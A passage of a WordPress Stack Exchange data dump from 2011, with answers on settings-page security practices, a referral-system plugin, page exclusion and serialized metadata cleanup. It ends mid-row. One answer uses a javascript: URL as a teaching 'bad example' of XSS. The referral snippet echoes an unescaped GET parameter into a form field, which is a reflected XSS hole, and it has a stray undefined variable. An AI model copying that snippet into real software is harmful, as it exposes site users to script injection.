  <row Id="13542" PostTypeId="2" ParentId="13539" CreationDate="2011-03-30T21:06:27.743" Score="0" ViewCount="" Body="&lt;h2&gt;Add settings pages to appropriate sections of admin menu&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Plugins should use the &lt;code&gt;add_options_page()&lt;/code&gt; function to add the Plugin Settings Page to the &lt;code&gt;Settings&lt;/code&gt; menu, rather than using &lt;code&gt;add_menu_page()&lt;/code&gt; to add a top-level menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Themes should use the &lt;code&gt;add_theme_page()&lt;/code&gt; function to add the Theme Settings Page to the &lt;code&gt;Appearance&lt;/code&gt; menu, rather than using &lt;code&gt;add_menu_page()&lt;/code&gt; to add a top-level menu.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-03-31T20:27:23.993" LastActivityDate="2011-03-31T20:27:23.993" CommunityOwnedDate="2011-03-30T21:06:27.743" />
  <row Id="13543" PostTypeId="2" ParentId="13539" CreationDate="2011-03-30T21:07:47.713" Score="5" ViewCount="" Body="&lt;h2&gt;Check for appropriate capability when adding and outputting settings pages&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Plugins should use an appropriate &lt;em&gt;capability&lt;/em&gt; (e.g. &lt;code&gt;manage_options&lt;/code&gt;) for the capability to add the settings page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Themes should use &lt;code&gt;edit_theme_options&lt;/code&gt; as the appropriate &lt;em&gt;capability&lt;/em&gt; to add the settings page.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities&quot; rel=&quot;nofollow&quot;&gt;Roles and Capabilities (Codex)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-03-31T18:56:46.533" LastActivityDate="2011-03-31T18:56:46.533" CommunityOwnedDate="2011-03-30T21:07:47.713" CommentCount="3" />
  <row Id="13544" PostTypeId="2" ParentId="13539" CreationDate="2011-03-30T21:09:08.320" Score="4" ViewCount="" Body="&lt;h2&gt;Save data in single array&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Plugins and Themes should save options in a single array, rather than create multiple options for the settings page. The use of the Settings API would handle this.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-03-31T20:26:36.663" LastActivityDate="2011-03-31T20:26:36.663" CommunityOwnedDate="2011-03-30T21:09:08.320" />
  <row Id="13545" PostTypeId="2" ParentId="13539" CreationDate="2011-03-30T21:09:30.660" Score="6" ViewCount="" Body="&lt;h2&gt;Only use $_GET / $_POST / $_REQUEST carefully and when better APIs are unavailable&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Plugins and Themes should use the Settings API to get and save form input data rather than rely on &lt;code&gt;$_POST&lt;/code&gt; and &lt;code&gt;$_REQUEST&lt;/code&gt; data directly.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-03-31T18:43:01.720" LastActivityDate="2011-03-31T18:43:01.720" CommunityOwnedDate="2011-03-30T21:09:30.660" CommentCount="2" />
  <row Id="13546" PostTypeId="2" ParentId="13539" CreationDate="2011-03-30T21:09:54.823" Score="1" ViewCount="" Body="&lt;p&gt;For checkboxes and select options, Plugins and Themes should use the &lt;code&gt;checked()&lt;/code&gt; and &lt;code&gt;selected()&lt;/code&gt; functions for outputting &lt;code&gt;checked=&quot;checked&quot;&lt;/code&gt; and &lt;code&gt;selected=&quot;selected&quot;&lt;/code&gt;, respectively.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-03-30T21:09:54.823" CommunityOwnedDate="2011-03-30T21:09:54.823" CommentCount="4" />
  <row Id="13548" PostTypeId="2" ParentId="13539" CreationDate="2011-03-30T21:13:45.773" Score="7" ViewCount="" Body="&lt;h2&gt;Sanitize, validate and escape data&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Sanitize anything that could get in and out of (!) the database both front end and back end!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugins and Themes should perform proper data validation:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Validate&lt;/strong&gt; and &lt;strong&gt;sanitize&lt;/strong&gt; all untrusted data before entering data&#xA;into the database&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Escape&lt;/strong&gt; all untrusted data before being output in the Settings form&#xA;fields&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Escape&lt;/strong&gt; all untrusted data before being output in the Theme template&#xA;files&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Data_Validation&quot; rel=&quot;nofollow&quot;&gt;Data Validation (Codex)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Plugins and Themes should use &lt;code&gt;esc_attr()&lt;/code&gt; for text inputs and &lt;code&gt;esc_html()&lt;/code&gt; or &lt;code&gt;esc_textarea()&lt;/code&gt; for text areas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also available from the WordPress API is &lt;code&gt;esc_url()&lt;/code&gt;, &lt;code&gt;esc_url_raw()&lt;/code&gt;, &lt;code&gt;esc_js()&lt;/code&gt; and &lt;code&gt;wp_filter_kses()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bad example:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $url = 'javascript:pwnd()'; ?&amp;gt;&#xA;&amp;lt;a href=&quot;&amp;lt;?php echo $url; ?&amp;gt;&quot;&amp;gt;anchor&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Good example:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo esc_url($url); ?&amp;gt;&quot;&amp;gt;anchor&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is a great video of Mark Jaquith explaining the usage of the escaping functions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.tv/2011/01/29/mark-jaquith-theme-plugin-security/&quot; rel=&quot;nofollow&quot;&gt;Theme &amp;amp; Plugin Security&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-03-31T19:12:17.540" LastActivityDate="2011-03-31T19:12:17.540" CommunityOwnedDate="2011-03-30T21:13:52.903" CommentCount="1" />
  <row Id="13549" PostTypeId="2" ParentId="13539" CreationDate="2011-03-30T21:14:19.097" Score="8" ViewCount="" Body="&lt;h2&gt;Use Nonces (when not using Settings API)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Plugins and Themes should explicitly provide Settings-page nonce checking, if not using the Settings API:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/WordPress_Nonces&quot; rel=&quot;nofollow&quot;&gt;WordPress Nonces (Codex)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://markjaquith.wordpress.com/2006/06/02/wordpress-203-nonces/&quot; rel=&quot;nofollow&quot;&gt;WordPress Nonces (Mark Jaquith)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.prelovac.com/vladimir/improving-security-in-wordpress-plugins-using-nonces&quot; rel=&quot;nofollow&quot;&gt;Improving security in WordPress plugins using Nonces (Vladimir Prelovac)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.garyc40.com/2010/03/5-tips-for-using-ajax-in-wordpress/#nonce-permission&quot; rel=&quot;nofollow&quot;&gt;5 tips for using AJAX in WordPress &gt; 3. Use nonces and check for permission (Gary Cao)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-01T12:45:58.237" LastActivityDate="2011-04-01T12:45:58.237" CommunityOwnedDate="2011-03-30T21:14:19.097" />
  <row Id="13550" PostTypeId="2" ParentId="13539" CreationDate="2011-03-30T21:14:47.460" Score="3" ViewCount="" Body="&lt;h2&gt;Use Settings API&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Plugins and Themes should use the Settings API, which is easier to use, more secure, and takes care of a lot of the hard work of settings pages:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Settings_API&quot; rel=&quot;nofollow&quot;&gt;Settings API (Codex)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For a good tutorials on using the Settings API, see:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.chipbennett.net/2011/02/17/incorporating-the-settings-api-in-wordpress-themes/&quot; rel=&quot;nofollow&quot;&gt;Incorporating the Settings API in WordPress Themes (Chip Bennett)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://planetozh.com/blog/2009/05/handling-plugins-options-in-wordpress-28-with-register_setting/&quot; rel=&quot;nofollow&quot;&gt;Handling Plugins Options in WordPress with register_setting() (Ozh Richard)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ottopress.com/2009/wordpress-settings-api-tutorial/&quot; rel=&quot;nofollow&quot;&gt;WordPress Settings API Tutorial (Otto)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-03-31T18:54:28.593" LastActivityDate="2011-03-31T18:54:28.593" CommunityOwnedDate="2011-03-30T21:14:47.460" CommentCount="1" />
  <row Id="13551" PostTypeId="2" ParentId="13517" CreationDate="2011-03-30T21:15:05.087" Score="5" ViewCount="" Body="&lt;p&gt;Don't know about a plugin but this can be done easily with just two hooks and callback functions:&#xA;First you add the refferer field to the registration form using &lt;code&gt;register_form&lt;/code&gt; hook:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('register_form','show_reff_field');&#xA;function show_reff_field(){ ?&amp;gt;&#xA;    &amp;lt;input id=&quot;ref&quot; type=&quot;text&quot; tabindex=&quot;20&quot; size=&quot;25&quot; value= &quot;&amp;lt;?php if (isset($_GET['ref'])){echo $_GET['ref'];} ?&amp;gt;&quot;  name=&quot;ref&quot; readonly=&quot;readonly&quot;/&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you just need to save it using &lt;code&gt;user_register&lt;/code&gt; hook&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('user_register', 'register_refferal');&#xA;&#xA;function register_refferal($user_id) {&#xA;   $userdata = array();&#xA;   $userdata['ID'] = $user_id;&#xA;   wp_update_user($userdata);&#xA;   $userdata['ref'] = $_POST['ref'];&#xA;&#xA;   if (isset($userdata['ref'])  &amp;amp;&amp;amp; !empty($userdata['ref']) &amp;amp;&amp;amp; $userdata['ref'] != &quot;&quot;){&#xA;        //get reffering user id by his login&#xA;        $refuser = get_userdatabylogin($userdata['ref']);&#xA;        //get current refferial credit that user has&#xA;        $current_ref_credit = get_user_meta($refuser-&amp;gt;ID, 'ref_credit', true);&#xA;        //add credit for the newly created user&#xA;        $current_ref_credit[] = $user_id;&#xA;        //save the changes&#xA;        update_user_meta( $refuser-&amp;gt;ID, 'ref_credit', $current_ref_credit);&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So all that is left to do is to let your users share there referral link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/wp-login.php?action=register&amp;amp;ref=my_login_name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if my user name was &quot;bainternet&quot; then my referral link would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/wp-login.php?action=register&amp;amp;ref=bainternet&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and to see how many members are in a users downline here is a simple function which accepts a user ID and returns an array of user ids which he has reffered:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_user_downline($user_id){&#xA;    return $current_ref_credit = get_user_meta($user_id, 'ref_credit', true);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and its usage is simple:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// to echo count of how many user with ID of 24 as reffered:&#xA;echo count(get_user_downline(24));&#xA;&#xA;    // to list the users user with ID of 24 as reffered:&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php&#xA;    $reffed = get_users(array('orderby' =&amp;gt; 'registered', 'include' =&amp;gt;  get_user_downline(24));&#xA;    foreach ($blogusers as $user) {&#xA;        echo '&amp;lt;li&amp;gt;' . $user-&amp;gt;display_name . '&amp;lt;/li&amp;gt;';&#xA;    }&#xA;?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So just copy all of this code and you have a plugin for referral system&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-30T21:15:05.087" CommentCount="3" />
  <row Id="13552" PostTypeId="2" ParentId="11358" CreationDate="2011-03-30T21:24:26.720" Score="0" ViewCount="" Body="&lt;p&gt;Ok, here's a tricky variation of this that isn't actually a character set issue... but that LOOKS like one. It's an edge case, but... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site worked fine on my staging server. All sections of the site worked fine on the live server... EXCEPT for the blog. The blog returned a long line of question marks. To simplify the troubleshooting, I opened the index.php file and nuked everything between the body tags, intending to put some simple &quot;hello world&quot; html there. When I did that, the code shortened and... there were blank lines and a ?&gt; way down on the page. Note that in Textmate this did NOT provoke any syntax errors when I checked for those. But, when I removed that stuff, the page worked fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I said this is almost certainly an edge case, but if everything in the db looks fine and especially if the page has worked on other servers it's something to just check out quickly. &lt;/p&gt;&#xA;" OwnerUserId="2624" LastActivityDate="2011-03-30T21:24:26.720" />
  <row Id="13553" PostTypeId="1" AcceptedAnswerId="13555" CreationDate="2011-03-30T21:26:50.877" Score="0" ViewCount="103" Body="&lt;p&gt;pretty simple. I'm creating a plugin and I want to dynamically insert some text that will change every hour into the line that is directly below the title of a post (So filters are no good). It's the &lt;code&gt;&amp;lt;div class=&quot;entry-meta&quot;&amp;gt;&lt;/code&gt;. The &lt;code&gt;&amp;lt;div class=&quot;entry-utility&quot;&amp;gt;&lt;/code&gt; at the bottom of the post would be good too. I can't seem to find a hook for this and I'm guessing there is none.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now the solution I have is to hook into &quot;the_content&quot; and place it as a footer, but it looks reaaally bad because it's a small piece of text with an entire line to itself. It would look considerably better if I could insert it into those lines mentioned.&lt;/p&gt;&#xA;" OwnerUserId="4119" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-03-30T21:36:52.330" LastActivityDate="2011-03-30T21:39:59.427" Title="Hook for plugin to insert into entry-meta" Tags="&lt;plugins&gt;&lt;hooks&gt;&lt;footer&gt;&lt;header&gt;" AnswerCount="1" />
  <row Id="13554" PostTypeId="2" ParentId="13528" CreationDate="2011-03-30T21:37:33.330" Score="3" ViewCount="" Body="&lt;p&gt;you can use &lt;code&gt;parse_query&lt;/code&gt; filter hook to exclude your pages using post__not_in attribute&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'parse_query', 'exclude_pages_from_admin' );&#xA;function exclude_pages_from_admin($query) {&#xA;    global $pagenow,$post_type;&#xA;    if (is_admin() &amp;amp;&amp;amp; $pagenow=='edit.php' &amp;amp;&amp;amp; $post_type =='page') {&#xA;        $query-&amp;gt;query_vars['post__not_in'] = array('21','22','23');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this will exclude pages with the ids of 21,22,23&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and to make sure this pages will not be included on the front end using wp_list_pages&#xA;you can use wp_list_pages_excludes filter hook:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; add_filter('wp_list_pages_excludes', 'exclude_from_wp_list_pages');&#xA; function exclude_from_wp_list_pages($exclude_array){&#xA;    $exclude_array = $exclude_array + array('21','22','23');&#xA;    return $exclude_array;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-03-30T21:45:49.347" LastActivityDate="2011-03-30T21:45:49.347" CommentCount="3" />
  <row Id="13555" PostTypeId="2" ParentId="13553" CreationDate="2011-03-30T21:39:59.427" Score="1" ViewCount="" Body="&lt;p&gt;The lines you mention are most likely part of your theme. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to either:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;figure out which functions/templates output them and if they have hooks to use;&lt;/li&gt;&#xA;&lt;li&gt;edit theme (create child theme) to add your own function to output what you want.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-30T21:39:59.427" CommentCount="2" />
  <row Id="13556" PostTypeId="1" AcceptedAnswerId="13562" CreationDate="2011-03-30T21:44:24.870" Score="0" ViewCount="115" Body="&lt;p&gt;I'm developing a site where better is very quickly becoming the enemy of the good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to make updating as simple for the client as possible by enabling them to populate boilerplate and images text using a shortcode. However, there is one word within the boilerplate text which needs to be unique for each page and must be added by the client.  I was thinking of using a specific custom field key and value, as a way of capturing the unique information.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible and reasonable to use custom fields for this purpose within the shortcode?  I'm having trouble thinking through the syntax.  Is there a better way to do this?&lt;/p&gt;&#xA;" OwnerUserId="2709" LastActivityDate="2011-04-02T23:46:52.877" Title="Can data from a Custom Field data be used by a shortcode on a per page/post basis?" Tags="&lt;custom-field&gt;&lt;shortcode&gt;" AnswerCount="2" />
  <row Id="13557" PostTypeId="2" ParentId="13515" CreationDate="2011-03-30T21:44:39.847" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_meta&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;get_post_meta()&lt;/strong&gt;&lt;/a&gt; function works &lt;strong&gt;In and Outside&lt;/strong&gt; of the loop and you saying that you do see it working on a single image &quot;&lt;em&gt;but doesn't in loop&lt;/em&gt;&quot; means that you probably did not add the code to the right loop. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be clear It works with all posts types.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-30T21:44:39.847" />
  <row Id="13558" PostTypeId="1" AcceptedAnswerId="13563" CreationDate="2011-03-30T21:48:34.747" Score="0" ViewCount="31" Body="&lt;p&gt;I've got a plugin that I ship with my theme whose function is to jumpstart the process of launching site so that its optimized for the theme. It has all my default pages, plugins, settings, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I'm using the following script to remove the default blogroll links...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$arr_args = array( 'hide_invisible' =&amp;gt; 0 );&#xA;$arr_links = get_bookmarks( $arr_args );&#xA;foreach($arr_links as $obj_link){wp_delete_link($obj_link-&amp;gt;link_id);}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, now I want to create replacement links to go in this listing. I want my social media links to go here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I want to create a list of 4-5 links (YouTube, Facebook, Twitter, LinkedIn, etc)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I know how to insert bookmark links via script, I can place the css bits in my theme that I need to effect the look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas or examples for doing this?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-03-30T22:49:15.180" Title="Script to replace default blogroll with links to my social media URLs" Tags="&lt;plugin-development&gt;&lt;blogroll&gt;" AnswerCount="1" />
  <row Id="13559" PostTypeId="2" ParentId="13539" CreationDate="2011-03-30T22:03:58.650" Score="7" ViewCount="" Body="&lt;h2&gt;Be careful with PHP functions that might be used to run malicious code&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A nice read for anybody writing PHP: &lt;a href=&quot;http://stackoverflow.com/questions/3115559/exploitable-php-functions&quot;&gt;Exploitable PHP functions&lt;/a&gt; on StackOverflow.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Use &lt;a href=&quot;http://codex.wordpress.org/Theme_Modification_API&quot; rel=&quot;nofollow&quot;&gt;Theme Modification API&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Themes should use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/set_theme_mod&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;set_theme_mod()&lt;/code&gt;&lt;/a&gt; and related functions &lt;strong&gt;not&lt;/strong&gt; an self invented name scheme.&lt;br&gt;&#xA;The theme_mod API is a specialized layer for the settings API; it guarantees unique names, pushes all options into &lt;strong&gt;one&lt;/strong&gt; array and is – from my experience – much easier to handle. Plus, it offers standardized filters for plugins – which is good for interoperability.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Avoid enabled &lt;a href=&quot;http://php.net/manual/en/security.globals.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;register_globals&lt;/code&gt;&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Don’t rely on &lt;code&gt;register_globals = on&lt;/code&gt;. A &lt;em&gt;Pro Theme&lt;/em&gt; which my last client bought does exactly this. I could hack any site using this theme in 5 minutes …&lt;br&gt;&#xA;ThimbThumb did this too (and still does?).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Do not create files with unnecessary wide access permissions&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Don’t create files with too liberate access permissions.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Use SSL where available&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Point your &lt;em&gt;Share on Twitter/Facebook/Anything&lt;/em&gt; links to the HTTPS URI if available. Your reader’s security is important too.&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-03-31T20:38:45.860" LastActivityDate="2011-03-31T20:38:45.860" CommentCount="5" />
  <row Id="13560" PostTypeId="1" AcceptedAnswerId="13561" CreationDate="2011-03-30T22:06:33.977" Score="0" ViewCount="158" Body="&lt;p&gt;In the course of converting a blog from Blogger to WP and running a script to grab hot-linked images for hosting, I ended up with some funky images names like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;act%252Bapandas-210x290.png&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These image names prevent the image from displaying on a webpage, due the url encoding ending up in the file name itself (don't ask!). I renamed them on the file server, no prob, but the names are also in the attachment metadata for each post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I remove the &quot;%&quot; from all the image references in the wp_postmeta table? *Most of them occur in serialized arrays in meta_values for the meta_keys of _wp_attachment_metadata*. I've had no luck finding a plugin, and am unsure how to institute a pure SQL/PHP solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of a serialized array entry (further gummed up by the Smush.it plugin, ugh):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a:7:{s:5:&quot;width&quot;;s:3:&quot;210&quot;;s:6:&quot;height&quot;;s:3:&quot;339&quot;;s:14:&quot;hwstring_small&quot;;s:22:&quot;height='96' width='59'&quot;;s:4:&quot;file&quot;;s:27:&quot;2011/02/act%252Bapandas.png&quot;;s:5:&quot;sizes&quot;;a:6:{s:9:&quot;thumbnail&quot;;a:4:{s:4:&quot;file&quot;;s:27:&quot;act%252Bapandas-210x290.png&quot;;s:5:&quot;width&quot;;s:3:&quot;210&quot;;s:6:&quot;height&quot;;s:3:&quot;290&quot;;s:10:&quot;wp_smushit&quot;;s:271:&quot;Smush.it error: Could not get the image while processing http://new.xxxxx.com/wp-content/uploads/2011/02/act%252Bapandas-210x290.png (/home/xxxxxxxxx/new.xxxxx.com/wp-content/uploads/2011/02/act%252Bapandas-210x290.png)&quot;;}s:14:&quot;soft-thumbnail&quot;;a:4:{s:4:&quot;file&quot;;s:27:&quot;act%252Bapandas-179x290.png&quot;;s:5:&quot;width&quot;;s:3:&quot;179&quot;;s:6:&quot;height&quot;;s:3:&quot;290&quot;;s:10:&quot;wp_smushit&quot;;s:271:&quot;Smush.it error: Could not get the image while processing http://new.xxxxx.com/wp-content/uploads/2011/02/act%252Bapandas-179x290.png (/home/xxxxxxxxx/new.xxxxx.com/wp-content/uploads/2011/02/act%252Bapandas-179x290.png)&quot;;}s:14:&quot;mini-thumbnail&quot;;a:4:{s:4:&quot;file&quot;;s:25:&quot;act%252Bapandas-60x60.png&quot;;s:5:&quot;width&quot;;s:2:&quot;60&quot;;s:6:&quot;height&quot;;s:2:&quot;60&quot;;s:10:&quot;wp_smushit&quot;;s:267:&quot;Smush.it error: Could not get the image while processing http://new.xxxxx.com/wp-content/uploads/2011/02/act%252Bapandas-60x60.png (/home/xxxxxxxxx/new.xxxxx.com/wp-content/uploads/2011/02/act%252Bapandas-60x60.png)&quot;;}s:5:&quot;slide&quot;;a:4:{s:4:&quot;file&quot;;s:27:&quot;act%252Bapandas-210x290.png&quot;;s:5:&quot;width&quot;;s:3:&quot;210&quot;;s:6:&quot;height&quot;;s:3:&quot;290&quot;;s:10:&quot;wp_smushit&quot;;s:271:&quot;Smush.it error: Could not get the image while processing http://new.xxxxx.com/wp-content/uploads/2011/02/act%252Bapandas-210x290.png (/home/xxxxxxxxx/new.xxxxx.com/wp-content/uploads/2011/02/act%252Bapandas-210x290.png)&quot;;}s:10:&quot;soft-slide&quot;;a:4:{s:4:&quot;file&quot;;s:27:&quot;act%252Bapandas-179x290.png&quot;;s:5:&quot;width&quot;;s:3:&quot;179&quot;;s:6:&quot;height&quot;;s:3:&quot;290&quot;;s:10:&quot;wp_smushit&quot;;s:271:&quot;Smush.it error: Could not get the image while processing http://new.xxxxx.com/wp-content/uploads/2011/02/act%252Bapandas-179x290.png (/home/xxxxxxxxx/new.xxxxx.com/wp-content/uploads/2011/02/act%252Bapandas-179x290.png)&quot;;}s:10:&quot;mini-slide&quot;;a:4:{s:4:&quot;file&quot;;s:27:&quot;act%252Bapandas-210x145.png&quot;;s:5:&quot;width&quot;;s:3:&quot;210&quot;;s:6:&quot;height&quot;;s:3:&quot;145&quot;;s:10:&quot;wp_smushit&quot;;s:271:&quot;Smush.it error: Could not get the image while processing http://new.xxxxx.com/wp-content/uploads/2011/02/act%252Bapandas-210x145.png (/home/xxxxxxxxx/new.xxxxx.com/wp-content/uploads/2011/02/act%252Bapandas-210x145.png)&quot;;}}s:10:&quot;image_meta&quot;;a:10:{s:8:&quot;aperture&quot;;s:1:&quot;0&quot;;s:6:&quot;credit&quot;;s:0:&quot;&quot;;s:6:&quot;camera&quot;;s:0:&quot;&quot;;s:7:&quot;caption&quot;;s:0:&quot;&quot;;s:17:&quot;created_timestamp&quot;;s:1:&quot;0&quot;;s:9:&quot;copyright&quot;;s:0:&quot;&quot;;s:12:&quot;focal_length&quot;;s:1:&quot;0&quot;;s:3:&quot;iso&quot;;s:1:&quot;0&quot;;s:13:&quot;shutter_speed&quot;;s:1:&quot;0&quot;;s:5:&quot;title&quot;;s:0:&quot;&quot;;}s:10:&quot;wp_smushit&quot;;s:255:&quot;Smush.it error: Could not get the image while processing http://new.xxxxx.com/wp-content/uploads/2011/02/act%252Bapandas.png (/home/xxxxxxxxx/new.xxxxx.com/wp-content/uploads/2011/02/act%252Bapandas.png)&quot;;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The issue is changing or removing the &quot;%&quot; character AND updating the array so it reports the correct number of characters (ie the s:13 would indicate yoursite.com is 13 char[]) I'm also open to using a php solution! Whatever can help me fix this mess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;FINAL SOLUTION&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See my answer below.&lt;/p&gt;&#xA;" OwnerUserId="4258" LastEditorUserId="4258" LastEditorDisplayName="" LastEditDate="2011-04-03T19:50:55.303" LastActivityDate="2011-04-03T19:51:23.090" Title="Remove “%” from strings in serialized arrays in 